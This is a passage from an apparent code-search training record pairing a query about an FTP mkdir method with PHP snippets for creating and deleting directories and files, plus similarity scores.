"public function delFile(){\r\n\t\tif(file_exists($this->directorio.$this->archivo)){\r\n\t\t\tunlink($this->directorio.$this->archivo);\r\n\t\t\treturn true;\r\n\t\t}else{\r\n\t\t\treturn false;\r\n\t\t}\t\t\r\n\t}", "private function deleteTemporaryFiles()\n {\n foreach ($this->temp as $file) {\n if (file_exists($file)) {\n unlink($file);\n }\n }\n\n $this->temp = [];\n }", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "function deleteFTP($file,$path,$parent=''){\n\tif(!NOFPT){\n\t\t$id_ftp=ftp_connect(FTPSERVER,21);\n\t\tftp_login ($id_ftp,FTPACCOUNT,FTPPASS);\n\t\tftp_pasv ($id_ftp,false);\n\t\tftp_chdir ($id_ftp,$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/'));\n\t\t//echo ftp_pwd($id_ftp).'/'.$path.'/'.$file.' delete: '.$file.'//////<br>';\n\t\t@ftp_delete($id_ftp,$file);\n//\t\tif(){\n//\t\t\techo ' eliminado.++++++++++++';\n//\t\t}else{\n//\t\t\techo ' fallido.++++++++++++';\n//\t\t}\n\t\tftp_quit($id_ftp);\n\t}else{\n\t\t@unlink($parent.'img/'.$path.'/'.($path=='tags'?'':$_SESSION['ws-tags']['ws-user']['code'].'/').$file);\n\t}\n}", "public function flush()\n {\n if ($this->fileSystem->isDirectory($this->directory))\n {\n $this->fileSystem->deleteDirectory($this->directory, true);\n }\n }", "public function delete_with_dir() {\n if(!empty($this->username && $this->id)) {\n if($this->delete()) {\n $target = SITE_PATH . DS . 'admin' . DS . $this->image_path . DS . $this->username;\n if(is_dir($target)){\n $this->delete_files_in_dir($target);\n return rmdir($target) ? true : false;\n echo \"yes\";\n }\n }else{\n return true;\n }\n }else{\n return false;\n }\n }", "protected function removeFiles() {}", "private function cleanup()\n {\n if ($this->cookiefile && is_file($this->cookiefile)) {\n @unlink($this->cookiefile);\n }\n }" ]
[ "0.80479944", "0.7947414", "0.77130276", "0.77119625", "0.76253456", "0.74628526", "0.7408241", "0.7361631", "0.73368466", "0.72891027", "0.7268968", "0.7266766", "0.71740997", "0.7106385", "0.70694375", "0.7059605", "0.7057451", "0.70311975", "0.70108837", "0.7005794", "0.70037276", "0.69772625", "0.6957075", "0.6952862", "0.6946835", "0.694219", "0.69332135", "0.692701", "0.6924421", "0.68945515", "0.68799365", "0.68763053", "0.6874423", "0.6866462", "0.6840424", "0.6838429", "0.6821894", "0.680529", "0.6798199", "0.6789061", "0.67887634", "0.6788002", "0.67807555", "0.67761457", "0.6753489", "0.6746977", "0.6746005", "0.6743291", "0.6742278", "0.67347986", "0.6728223", "0.6727169", "0.67223036", "0.67193824", "0.67168695", "0.67057204", "0.67046785", "0.67044276", "0.6703245", "0.66937935", "0.66901356", "0.66770446", "0.66768116", "0.6674268", "0.66727036", "0.6670761", "0.6664635", "0.66563904", "0.6655744", "0.6646171", "0.6645698", "0.6641685", "0.66391265", "0.6636725", "0.66351545", "0.6631797", "0.6620935", "0.66201574", "0.6619991", "0.6619885", "0.661529", "0.6600984", "0.66009116", "0.6600756", "0.6599211", "0.65950805", "0.6594299", "0.6590367", "0.6588899", "0.6586493", "0.65704954", "0.6568881", "0.6568802", "0.65653485", "0.65602964", "0.6558032", "0.6558032", "0.6543793", "0.6541488", "0.6540706", "0.6537875" ]
0.0
-1
Mkdir executes an mkdir (create directory) command on the remote FTP server.
public function mkdir($dir) { if ($this->getActive()) { // create directory if (ftp_mkdir($this->_connection, $dir)) { return true; } else { return false; } } else { throw new CHttpException(403, 'EFtpComponent is inactive and cannot perform any FTP operations.'); } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function mkdir($pathname)\r\n {\r\n if ($this->_use_mod_ftp) {\r\n \t\tftp_mkdir($this->_socket, $pathname);\r\n \t} else {\r\n \t $this->putcmd(\"MKD\", $pathname);\r\n \t}\r\n \treturn $this->ok();\r\n }", "public function mkDir($path)\n {\n // Try get into this dir, maybe it already there\n if (!@ftp_chdir($this->handle, $path)) {\n // Create dir\n ftp_mkdir($this->handle, $path);\n // Change rights\n ftp_chmod($this->handle, 0755, $path);\n // Go to it\n ftp_chdir($this->handle, $path);\n }\n }", "function mkdir() {\n\t\t$this->checkOnce();\n\t\t$nr = $this->getMain()->nr();\n\n\t\t$remoteCmd = 'cd '.$this->deployPath.' && mkdir v'.$nr;\n\t\t$this->ssh_exec($remoteCmd);\n\t}", "public function testMkdir() {\n $testDirName = self::TEST_DIR . '/testMkdir';\n\n (new Directory($testDirName))->mkdir();\n\n $this->assertDirectoryExists($testDirName);\n }", "function createDirectory($dirname)\n {\n $ftpconnection = ssh2_sftp ($this->connection);\n $dircreated = ssh2_sftp_mkdir($ftpconnection, $dirname, true);\n if(!$dircreated) \n {\n $this->debug(\"Directory not created: \".$dirname);\n }\n return $dircreated;\n }", "public function mkdir($dir)\n {\n }", "public function mkdir($name)\n\t{\n\t\tglobal $pluginuploader;\n\n\t\t$name = $this->replace_admin_dir($name);\n\n\t\tif(@mkdir($name))\n\t\t{\n\t\t\t@chmod($name, 0755);\n\t\t\tif(is_dir($name))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\n\t\tif($this->ftp_connect())\n\t\t{\n\t\t\t$ftp_name = $name;\n\t\t\twhile(!empty($ftp_name) && !@ftp_mkdir($this->ftp_connection, $ftp_name))\n\t\t\t{\n\t\t\t\t$ftp_name = strstr(ltrim($ftp_name, \"/\"), \"/\");\n\t\t\t}\n\t\t\tif(empty($ftp_name))\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t\t@ftp_chmod($this->ftp_connection, $this->get_ftp_chmod(755), $ftp_name);\n\t\t\tif(is_dir($ftp_name))\n\t\t\t{\n\t\t\t\treturn true;\n\t\t\t}\n\t\t}\n\t\treturn false;\n\t}", "public function mkdir($dirName, $permissions = 0755)\n\t{\n\t\t$targetDir = $this->translatePath($dirName);\n\t\t$targetDir = trim($targetDir, '/');\n\n\t\t$ret = @ssh2_sftp_mkdir($this->sftpHandle, $targetDir, $permissions, true);\n\n\t\treturn $ret;\n\t}", "function media_mkdir($action)\r\n{\r\n\tglobal $DIR_MEDIA, $member, $CONF, $manager;\r\n\tif ($action == _MEDIA_PHP_ACTION_MKDIR || $action =='mkdir' ) {\r\n\t\t$current = media_requestVar('mkdir_collection');\r\n\t\t$mkdirname = postVar('mkdirname');\r\n\t\tif (!($mkdirname && $current)) {\r\n\t\t\tmedia_select();\r\n\t\t\treturn;\r\n\t\t}\r\n\t\t// Create member's directory if not exists.\r\n\t\tif (is_numeric($current) && $current==$member->getID() && !is_dir($DIR_MEDIA . '/' . $current)) {\r\n\t\t\t$oldumask = umask(0000);\r\n\t\t\tif (!@mkdir($DIR_MEDIA. '/' . $current, 0777)) {\r\n\t\t\t\treturn _ERROR_BADPERMISSIONS;\r\n\t\t\t}\r\n\t\t\tumask($oldumask);\r\n\t\t}\r\n\t\t// Check if valid directory.\r\n\t\t$path = $current . '/' . $mkdirname ;\r\n\t\t$path = str_replace('\\\\','/',$path); // Avoid using \"\\\" in Windows.\r\n\t\t$pathArray = explode('/', $path);\r\n\t\tif ($pathArray[0] !== $member->getID()) {\r\n\t\t\tmedia_doError(_MEDIA_PHP_39 . $pathArray[0] . ':' . $member->getID());\r\n\t\t}\r\n\t\tif (in_array('..', $pathArray)) {\r\n\t\t\tmedia_doError(_MEDIA_PHP_40);\r\n\t\t}\r\n\t\t// OK. Let's go.\r\n\t\tif (is_dir($DIR_MEDIA . '/' . $current)) {\r\n\t\t\t$res = @mkdir($DIR_MEDIA . '/' . $current . '/' . $mkdirname);\r\n\t\t\t$res .= @chmod($DIR_MEDIA . '/' . $current . '/' . $mkdirname , 0777);\r\n\t\t}\r\n\t\tif (!$res) {\r\n\t\t\tmedia_doError(_MEDIA_PHP_41 . $res );\r\n\t\t}\r\n\t\t// shows updated list afterwards\r\n\t\tmedia_select();\r\n\t} elseif($action == _MEDIA_PHP_ACTION_RMDIR ||\r\n\t\t\t $action == 'rmdir') {\r\n\t\t$rmdir_collection = media_postVar('rmdir_collection');\r\n\t\t$pathArray = explode('/', $rmdir_collection);\r\n\t\tif ($pathArray[0] !== $member->getID()) {\r\n\t\t\tmedia_doError(_MEDIA_PHP_39 . $pathArray[0] . ':' . $member->getID());\r\n\t\t}\r\n\t\tif (in_array('..', $pathArray)) {\r\n\t\t\tmedia_doError(_MEDIA_PHP_40);\r\n\t\t}\r\n\t\t$res = @media_rmdir($DIR_MEDIA,$rmdir_collection);\r\n\t\tif ($res) {\r\n\t\t\tmedia_select();\r\n\t\t} else {\r\n\t\t\tmedia_doError(_MEDIA_PHP_42);\r\n\t\t}\r\n\t} else {\r\n\t\t$current = media_requestVar('collection');\r\n\t\t$collections = MEDIADIRS::getPrivateCollectionList();\r\n\r\n\t\tmedia_head();\r\n\t\t?>\r\n\t\t<h1><?php echo htmlspecialchars(_MEDIA_MKDIR_TITLE); ?></h1>\r\n\r\n\t\t<p><?php echo htmlspecialchars(_MEDIA_MKDIR_MSG); ?></p>\r\n\r\n\t\t<form method=\"post\" action=\"media.php\">\r\n\t\t<div>\r\n\t \t <input type=\"hidden\" name=\"action\" value=\"<?php echo htmlspecialchars(_MEDIA_PHP_ACTION_MKDIR); ?>\" />\r\n\t \t <?php $manager->addTicketHidden() ?>\r\n\t\t FolderName:\r\n\t\t <br />\r\n\t\t <input name=\"mkdirname\" type=\"text\" size=\"40\" />\r\n\t\t<?php\t\tif (sizeof($collections) > 0) {\r\n\t\t?>\r\n\t\t\t<br /><br /><label for=\"mkdir_collection\">Collection:</label>\r\n\t\t\t<br /><select name=\"mkdir_collection\" id=\"mkdir_collection\">\r\n\t\t\t\t<?php\r\n\t\t\t\t\t\tforeach ($collections as $dirname => $description) {\r\n\t\t\t\t\t\t\techo '<option value=\"',htmlspecialchars($dirname),'\"';\r\n\t\t\t\t\t\t\tif ($dirname == $current) {\r\n\t\t\t\t\t\t\t\techo ' selected=\"selected\"';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo '>' . htmlspecialchars($description) . '</option>';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t</select>\r\n\t\t<?php\t\t} elseif (sizeof($collections) == 1) {\r\n\t\t\t\t\t\t$flipCollections = array_flip($collections);\r\n\t\t\t\t\t\t$collection = array_pop($flipCollections);\r\n\t\t?>\r\n\t\t \t<input name=\"collection\" type=\"hidden\" value=\"<?php echo htmlspecialchars($collection);?>\" />\r\n\t\t<?php\t\t} else {\r\n\t\t\t\t\t\tmedia_foot();\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}// if sizeof\r\n\t\t?>\r\n\t\t <br /><br />\r\n\t\t <input type=\"submit\" value=\"<?php echo htmlspecialchars(_MEDIA_MKDIR_BUTTON); ?>\" />\r\n\t\t</div>\r\n\t\t</form>\r\n\t\t<?php\t\tif (sizeof($collections) > 0) {?>\r\n\t\t\t<br /><br /><h1><?php echo htmlspecialchars(_MEDIA_RMDIR_TITLE); ?></h1>\r\n\r\n\t\t<p><?php echo htmlspecialchars(_MEDIA_RMDIR_MSG); ?></p>\r\n\r\n\t\t<form method=\"post\" action=\"media.php\">\r\n\t\t<div>\r\n\t \t <input type=\"hidden\" name=\"action\" value=\"<?php echo htmlspecialchars(_MEDIA_PHP_ACTION_RMDIR); ?>\" />\r\n\r\n\t<label for=\"rmdir_collection\">Collection:</label>\r\n\t\t\t<br /><select name=\"rmdir_collection\" id=\"rmdir_collection\">\r\n\t\t\t\t<?php\r\n\t\t\t\t\tforeach ($collections as $dirname => $description) {\r\n\t\t\t\t\t\tif (is_numeric($dirname)) continue;\r\n\t\t\t\t\t\techo '<option value=\"',htmlspecialchars($dirname),'\"';\r\n\t\t\t\t\t\tif ($dirname == $current) {\r\n\t\t\t\t\t\t\techo ' selected=\"selected\"';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo '>',htmlspecialchars($description),'</option>';\r\n\t\t\t\t\t}\r\n\t\t\t\t?>\r\n\t\t\t</select>\r\n\t\t<?php\t\t} else {\r\n\t\t\t\t\t\tmedia_foot();\r\n\t\t\t\t\t\treturn;\r\n\t\t\t\t\t}// if sizeof\r\n\t\t?>\r\n\t\t <br /><br />\r\n\t\t <?php $manager->addTicketHidden() ?>\r\n\t\t <input type=\"submit\" value=\"<?php echo htmlspecialchars(_MEDIA_RMDIR_BUTTON); ?>\" />\r\n\t\t</div>\r\n\t\t</form>\r\n\t\t<p><a href=\"javascript:history.back()\"><?php echo htmlspecialchars(_BACK); ?></a></p>\r\n\t\t<?php\r\n\t\tmedia_foot();\r\n\t}\r\n}", "public static function create_dir($dir_to_create)\n\t{\n\t\tif (mkdir($dir_to_create))\n\t\t{\n\t\t\tif (self::findServerOS() == 'LINUX')\n\t\t\t{\n\t\t\t\t$perms = self::unix_file_permissions($dir_to_create);\n\t\t\t\tif ( $perms != '0755') @chmod($dirPath, 0755);\n\t\t\t}\n\n\t\t\treturn true;\n\t\t} else {\n\t\t\tthrow new Exception(\"Error creating directory '{$dir_to_create}'\");\n\n\t\t\treturn false;\n\t\t}\n\t}", "function mkdir($dir, $recursive = false) {\r\n\t\t$dir = $this->_constructPath($dir);\r\n\t\t$savedir = $this->pwd();\r\n\t\t$e = $this->cd($dir);\r\n\t\tif ( $e === true ) {\r\n\t\t\t$this->cd($savedir);\r\n\t\t\treturn true;\r\n\t\t}\r\n\t\t$this->cd($savedir);\r\n\t\tif ( $recursive === false ) {\r\n\t\t\t$res = @ftp_mkdir($this->_handle, $dir);\r\n\t\t\tif ( !$res ) {\r\n\t\t\t\tthrow new ftpMkdirException($dir);\r\n\t\t\t} else {\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\t\t} else {\r\n\t\t\t// do not look at the first character, as $dir is absolute,\r\n\t\t\t// it will always be a /\r\n\t\t\tif ( strpos(substr($dir, 1), '/') === false ) {\r\n\t\t\t\treturn $this->mkdir($dir, false);\r\n\t\t\t}\r\n\t\t\tif ( substr($dir, -1) == '/' ) {\r\n\t\t\t\t$dir = substr($dir, 0, -1);\r\n\t\t\t}\r\n\t\t\t$parent = substr($dir, 0, strrpos($dir, '/'));\r\n\t\t\t$res = $this->mkdir($parent, true);\r\n\t\t\tif ( $res === true ) {\r\n\t\t\t\t$res = $this->mkdir($dir, false);\r\n\t\t\t}\r\n\t\t\tif ( $res !== true ) {\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t\treturn true;\r\n\t\t}\r\n\t}", "function create_dir($dir_path){\r\n die( __FILE__ . ' : ' . __LINE__ );\r\n }", "public function mkdir($directory) {\n if (false !== $this->connection) {\n return ftp_mkdir($this->connection, $directory);\n }\n return false;\n }", "protected function createDirectory() {}", "private function prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$dir = dir($loc_dir);\n\t\t\n\t\t// does $rmt_dir exist\n\t\tif ($this->isRmtDir($rmt_dir) === FALSE) {\n\t\t\techo \"\\nUnknown remote path specified...\\n\";\n\t\t\t$this->close();\n\t\t\texit(1);\n\t\t}\n\t\t\n\t\t // do this for each file in the directory\n\t\twhile ($file = $dir->read()) {\n\t\t\t\n\t\t\tif ($file != \".\" && $file != \"..\") { // to prevent an infinite loop\n\n\t\t\t\t// ignore chosen dirs\n\t\t\t\tif ($this->isIgnore($this->ignore, $rmt_dir.\"/\".$file) ) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tif (is_dir($loc_dir.\"/\".$file)) { // do the following if it is a directory\n\t\t\t\t\t\n\t\t\t\t\tif (!@ftp_chdir($this->conn_id, $rmt_dir.\"/\".$file)) {\n\t\t\t\t\t\t// create directories that do not yet exist\n\t\t\t\t\t\techo \"+:/ \".$rmt_dir.\"/\".$file.\"\\n\";\n\t\t\t\t\t\t$rtn_mkdir = ftp_mkdir($this->conn_id, $rmt_dir.\"/\".$file);\n\t\t\t\t\t\t\n\t\t\t\t\t\tif ($rtn_mkdir === FALSE) {\n\t\t\t\t\t\t\techo \"\\nThere was an error uploading the directory...\\n\";\n\t\t\t\t\t\t\t$this->close();\n\t\t\t\t\t\t\texit(1);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// recursive into next directory\n\t\t\t\t\t$this->prv_ftp_put_dir($loc_dir.\"/\".$file, $rmt_dir.\"/\".$file);\n\t\t\t\t\n\t\t\t\t} else {\n\t\t\t\t\techo '+>> '.$rmt_dir.\"/\".$file;\n\t\t\t\t\t$rtn_put = ftp_nb_put(\n\t\t\t\t\t\t\t$this->conn_id, \n\t\t\t\t\t\t\t$rmt_dir.\"/\".$file, \n\t\t\t\t\t\t\t$loc_dir.\"/\".$file, \n\t\t\t\t\t\t\t$this->ftp_trans_mode($file));\n\t\t\t\t\t\n\t\t\t\twhile ($rtn_put == FTP_MOREDATA) {\n\t\t\t\t\t// do whatever you want\n\t\t\t\t\techo '.';\n\t\t\t\t\t\n\t\t\t\t\t// continue downloading\n\t\t\t\t\t$rtn_put = ftp_nb_continue($this->conn_id);\n\t\t\t\t}\n\t\t\t\tif ($rtn_put != FTP_FINISHED) {\n\t\t\t\t\techo \"\\nThere was an error uploading the file...\\n\";\n\t\t\t\t\t$this->close();\n\t\t\t\t\texit(1);\n\t\t\t\t}\n\t\t\t\t\techo \"\\n\";\n\t\t\t\t}\n\t\t\t\t\n\t\t\t}\n\t\t}\n\t\t\n\t}", "function MakeDir()\n{\t\t\n\t$sFileUrl = '';\n\t\n\tif(isset($_REQUEST['file-path']) === false)\n\t{\n\t\techo '<fail>no file path</fail>';\n\t\treturn;\n\t}\n\t$sFileUrl = trim($_REQUEST['file-path']);\n\t\n\t\n\t$bIsDirectoryCreate = false;\n\t$bIsDirectoryCreate = mkdir($sFileUrl, 0777, true);\n\t\n\tif($bIsDirectoryCreate === true)\n\t{\n\t\techo '<correct>correct create directory</correct>';\n\t} else\n\t{\n\t\techo '<fail>cant create directory</fail>';\n\t}\n}", "public static function mkdir( $dir ) {\n\t\t\treturn wp_mkdir_p( $dir );\n\t\t}", "function makeDir($directory, $doubleCheck = true, $useCache = true)\n\t{\n\t\t$success = @ftp_mkdir($this->connection, $directory);\n\t\tif ($success==true)\n\t\treturn $success;\n\t\t \n\t\tif ($doubleCheck==true)\n\t\t{\n\t\t\treturn $this->dirExists($directory, $useCache);\n\t\t}\n\t\telse\n\t\treturn false;\n\t}", "public function mkdir($name, $chmod = 755);", "public function mkDir($path);", "protected function createDirectories() {\n\t\t@mkdir($this->getAbsoluteBasePath(), 0777, TRUE); // @ - Directories may exist\n\t}", "public function makeDirectory($path, $mode = 0755, $isRecursive = true);", "public function stf_create_tar_images_dir() {\n $upload_dir = $this->upload_dir;\n if (! is_dir($upload_dir)) {\n mkdir( $upload_dir, 0700 );\n\n return true;\n }\n\n return false;\n }", "function mkdir( $dest, $path_to ) {\n\t\t$this->errno = 0;\n\t\t$this->errinfo = \"\";\n\t\tif( !is_writeable($path_to) || !is_dir($path_to) ){\n\t\t\t$this->errno = -1;\n\t\t\treturn false;\n\t\t}\n\t\t$dest = explode(\"/\",$dest);\n\t\tfor( $i = 1; $i <= count($dest); $i++ ){\n\t\t\t$dir = array_slice( $dest, 0, $i);\n\t\t\t$dir = implode(\"/\",$dir);\n\t\t\tif(!is_dir($path_to.\"/\".$dir))\n\t\t\t\tmkdir($path_to.\"/\".$dir);\n\t\t}\n\t\treturn true;\n\t}", "public function mkdir(string $path, int $mode = 0777, bool $recursive = false): void\n {\n if (!ssh2_sftp_mkdir($this->_getSFTPResource(), $this->_getPath($path), $mode, $recursive))\n {\n throw new SFTPException('could not create directory');\n }\n }", "function ftp_put_dir($loc_dir, $rmt_dir, $isRecursive=TRUE, $useWhiteList=FALSE) {\n\t\t$loc_dir = rtrim($loc_dir, '/');\n\t\t$rmt_dir = rtrim($rmt_dir, '/');\n\t\t\n\t\t$this->prv_ftp_put_dir($loc_dir, $rmt_dir, $isRecursive, $useWhiteList);\n\t}", "protected function createDestination(): void\n {\n $directory = \\dirname($this->to);\n\n if (! is_dir($directory)) {\n mkdir($directory, 0777, true);\n }\n }", "public function createDirectory()\n {\n $bReturn = $this->exists();\n if( !$bReturn && $this->_sPath->isValid() )\n {\n $bReturn = mkdir( (string)$this->_sPath, 0770, TRUE);\n if( $bReturn )\n {\n $this->_sPath->setValue( $this->getRealPath() );\n }\n }\n return $bReturn;\n }", "public function mkdir($path)\n {\n \n }", "function cot_pfs_mkdir($path, $feedback=FALSE)\n{\n\tglobal $cfg;\n\n\tif(substr($path, 0, 2) == './')\n\t{\n\t\t$path = substr($path, 2);\n\t}\n\tif(!$feedback && !file_exists($pfs_dir_user))\n\t{\n\t\tcot_pfs_mkdir($pfs_dir_user, TRUE);\n\t}\n\tif(@mkdir($path, $cfg['dir_perms']))\n\t{\n\t\treturn TRUE;\n\t}\n\telse\n\t{\n\t\treturn FALSE;\n\t}\n}", "function createDirectory() {\n\t$fmpImporter = new FilemakerProImporter();\n\t$fmpImporter->createDirectory();\n}", "function mkdir($pathname, $mode = 0777, $recursive = false, $context = null) {\n\treturn \"Stubbed mkdir of [{$pathname}] with mode [{$mode}]\";\n}", "function mkdirRecursive($dir, $privileges=0777, $recursive=true)\n {\n $dir = preg_replace('/(\\/){2,}|(\\\\\\){1,}/','/',$dir); //only forward-slash\n\n if (!atkFileUtils::is_writable($dir))\n {\n atkdebug(\"Error no write permission!\");\n return false;\n }\n\n atkdebug(\"Permission granted to write.\");\n\n if( is_null($dir) || $dir === \"\" ){\n return FALSE;\n }\n if( is_dir($dir) || $dir === \"/\" ){\n return TRUE;\n }\n if( atkFileUtils::mkdirRecursive(dirname($dir), $privileges, $recursive) ){\n return mkdir($dir, $privileges);\n }\n return FALSE;\n }", "public function makeDir($dirs, $mode = 0777);", "function fud_mkdir($path)\n{\n\t$dirs = array();\n\twhile (!is_dir($path)) {\n\t\t$dirs[] = $path;\n\t\t$path = dirname($path);\n\t\tif (!$path || $path == '/') {\n\t\t\tbreak;\n\t\t}\n\t}\n\tforeach (array_reverse($dirs) as $dir) {\n\t\tif (!mkdir($dir, 0755)) {\n\t\t\tfe('Failed to create \"'. $dir .'\" directory.');\t\n\t\t}\n\t}\n}", "static public function mkdir($path) {\n\t\treturn self::$defaultInstance->mkdir($path);\n\t}", "public function makeDir($dir){\n\t\tif(mkdir($dir))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}", "function mkdirp($dirname, $mode = 0777) {\n if (!is_dir($dirname)) {\n mkdir($dirname, $mode, true);\n }\n}", "function _ftp_chdir($dir)\n\t{\n\t\t// Calculate \"real\" (absolute) FTP path\n\t\t$realdir = substr($this->_initdir, -1) == '/' ? substr($this->_initdir, 0, strlen($this->_initdir) - 1) : $this->_initdir;\n\t\t$realdir .= '/'.$dir;\n\t\t$realdir = substr($realdir, 0, 1) == '/' ? $realdir : '/'.$realdir;\n\n\t\tif($this->_currentdir == $realdir)\n\t\t{\n\t\t\t// Already there, do nothing\n\t\t\treturn true;\n\t\t}\n\n\t\t$result = @ftp_chdir($this->_ftphandle, $realdir);\n\t\tif($result === false)\n\t\t{\n\t\t\t// The directory doesn't exist, let's try to create it...\n\t\t\tif(!$this->_makeDirectory($dir)) return false;\n\t\t\t// After creating it, change into it\n\t\t\t@ftp_chdir($this->_ftphandle, $realdir);\n\t\t}\n\n\t\t// Update the private \"current remote directory\" variable\n\t\t$this->_currentdir = $realdir;\n\t\treturn true;\n\t}", "private function createNewTempdir(){\n $tempdirname = '';\n do{\n $tempdirname = uniqid('temp_',true);\n }while(file_exists(FRONTEND_ABSDIRPATH.ARTICLEIMAGESPATH.$tempdirname));\n\n if(@mkdir(FRONTEND_ABSDIRPATH.ARTICLEIMAGESPATH.$tempdirname)){\n mkdir(FRONTEND_ABSDIRPATH.ARTICLEIMAGESPATH.$tempdirname.DIRECTORY_SEPARATOR.'gallery');\n }else{\n die(json_encode(array('state'=>'error','data'=> $this->text('e28').': '.FRONTEND_ABSDIRPATH.ARTICLEIMAGESPATH.'!')));\n }\n return $tempdirname;\n }", "private function createDir()\n {\n if ($this->dirCreated) {\n return;\n }\n\n $dir = $this->getDirFromStream($this->url);\n if (null !== $dir && !is_dir($dir)) {\n $this->errorMessage = null;\n set_error_handler(array($this, 'customErrorHandler'));\n $status = mkdir($dir, 0777, true);\n restore_error_handler();\n if (false === $status) {\n throw new \\UnexpectedValueException(sprintf('There is no existing directory at \"%s\" and its not buildable: '.$this->errorMessage, $dir));\n }\n }\n $this->dirCreated = true;\n }", "function generate_directory($id){\n $filename = \"intranet/usuarios/\" . $id . \"/uploads/\";\n if (!file_exists($filename)) {\n mkdir($filename, 0777, true);\n }\n }", "function create_dir($path, $make_writable = false) {\n if(mkdir($path)) {\n if($make_writable) {\n if(!chmod($path, 0777)) {\n return false;\n } // if\n } // if\n } else {\n return false;\n } // if\n \n return true;\n }", "private function _do_create_folder() {\n\t\tif (g($_POST, 'folder')) {\n\t\t\tif (g($this->conf, 'disable.add')) die('Forbidden');\n\t\t\n\t\t\t$folder = strtolower(str_replace(' ', '-', g($_POST, 'folder')));\n\t\t\t$folder = preg_replace(\"/[^a-z0-9_-]+/i\", \"\", $folder);\n\t\t\t\n\t\t\t$path = $this->_path(g($this->conf, 'path') . '/' . $folder);\n\t\t\t\n\t\t\tif (file_exists($path)) {\n\t\t\t\t$this->_msg('Cannot create folder ['.htmlspecialchars($folder).'] : folder/file exists', 'error');\n\t\t\t\treturn;\n\t\t\t}\n\t\t\n\t\t\tif (@mkdir($path, 0775)) {\n\t\t\t\t$this->_msg('Success create folder ['.htmlspecialchars($folder).']');\n\t\t\t\theader('location:'.$this->_url(array('path' => $this->_sanitize(g($this->conf, 'path') . '/' . $folder))));\n\t\t\t\tdie();\n\t\t\t} else {\n\t\t\t\t$this->_msg('Failed create folder ['.htmlspecialchars($folder).'] : please call your administrator', 'error');\n\t\t\t}\n\t\t}\n\t}", "function check_dir_exists($dir,$create=false) {\n\n global $CFG; \n\n $status = true;\n if(!is_dir($dir)) {\n if (!$create) {\n $status = false;\n } else {\n umask(0000);\n $status = mkdir ($dir,$CFG->directorypermissions);\n }\n }\n return $status;\n }", "function mkdir_p($directory, $mode = 0777) {\n if (!is_dir($directory)) {\n mkdir($directory, $mode, true);\n }\n}", "public function makeDir ($hdfsDir)\n {\n try\n {\n $this->stat($hdfsDir);\n //directory already exists\n throw new Exception\\AlreadyExistsException(\"Path already exists: $hdfsDir\", false);\n }\n catch(Exception\\NotFoundException $e)\n {\n //dir does not exist so we can create it\n }\n\n //if parent directory does not exist\n try\n {\n $this->stat(dirname($hdfsDir));\n }\n catch (Exception\\NotFoundException $e)\n {\n throw new Exception\\NotFoundException($e->getMessage(), $e->isLocal());\n }\n\n $response = $this->web->exec(Method::PUT, $hdfsDir, 'MKDIRS');\n if ($response->getException())\n {\n throw $response->getException();\n }\n }", "function mkImageDir()\r\n {\r\n $this->imageDir = date('Ymd') . '/';\r\n $imageDirPath = $this->rootPath . $this->config->get('imgPath') . $this->imageDir;\r\n if (file_exists($imageDirPath)) return;\r\n if (!file_exists($this->rootPath . $this->config->get('imgPath'))) mkdir($this->rootPath . $this->config->get('imgPath'), 0777);\r\n mkdir($imageDirPath, 0777);\r\n }", "public function createFolder($path) {\n $this->_command->setCommand(\"mkdir -p {$path}\");\n $this->_command->run();\n\n $this->_log->log(LogLevel::info, \"'{$path}' folder created\\n\");\n }", "public static function createDirectory ($path) {\n\t\t\\clearstatcache(true, $path);\n\t\tif (!\\is_dir($path)) {\n\t\t\t\\mkdir($path, 493, true);\n\t\t}\n\t}", "function makeDIR($directory,$debugtxt=0,$nMode) {\n // Create payload directory if it doesn't exist:\n if (file_exists($directory)) {\n //if ($debugtxt) { echo \"<p>Directory <b>$directory</b> already exists </p>\"; }\n $result = true; // Return true as success is when the directory has either been created or already exists\n } else {\n // Make the new temp sub_folder for unzipped files\n if (!mkdir($directory, $nMode, true)) {\n if ($debugtxt) { \n echo \"<p>Error: Could not create folder <b>$directory</b> - check file permissions\";\n echo '<div class=\"admin_img\"><a href=\"'.$sSiteUrl.'/admin\" class=\"btn btn-lg btn-primary color-white\">Admin</a></div><div class=\"play_img\"><a href=\"'.$sSiteUrl.'/play\" class=\"btn btn-lg btn-primary color-white\">Play</a></div>';\n }\n $result= false;\n } else { \n //if ($debugtxt) { echo \"Folder <b>$directory</b> Created <br>\";} \n $result = true;\n } // END mkdir\n } // END if file exists\n return $result;\n }", "private function _mkdir($target)\n\t{\n\t\t// from php.net/mkdir user contributed notes\n\t\tif (file_exists($target))\n\t\t{\n\t\t\tif ( ! @is_dir($target))\n\t\t\t{\n\t\t\t\treturn 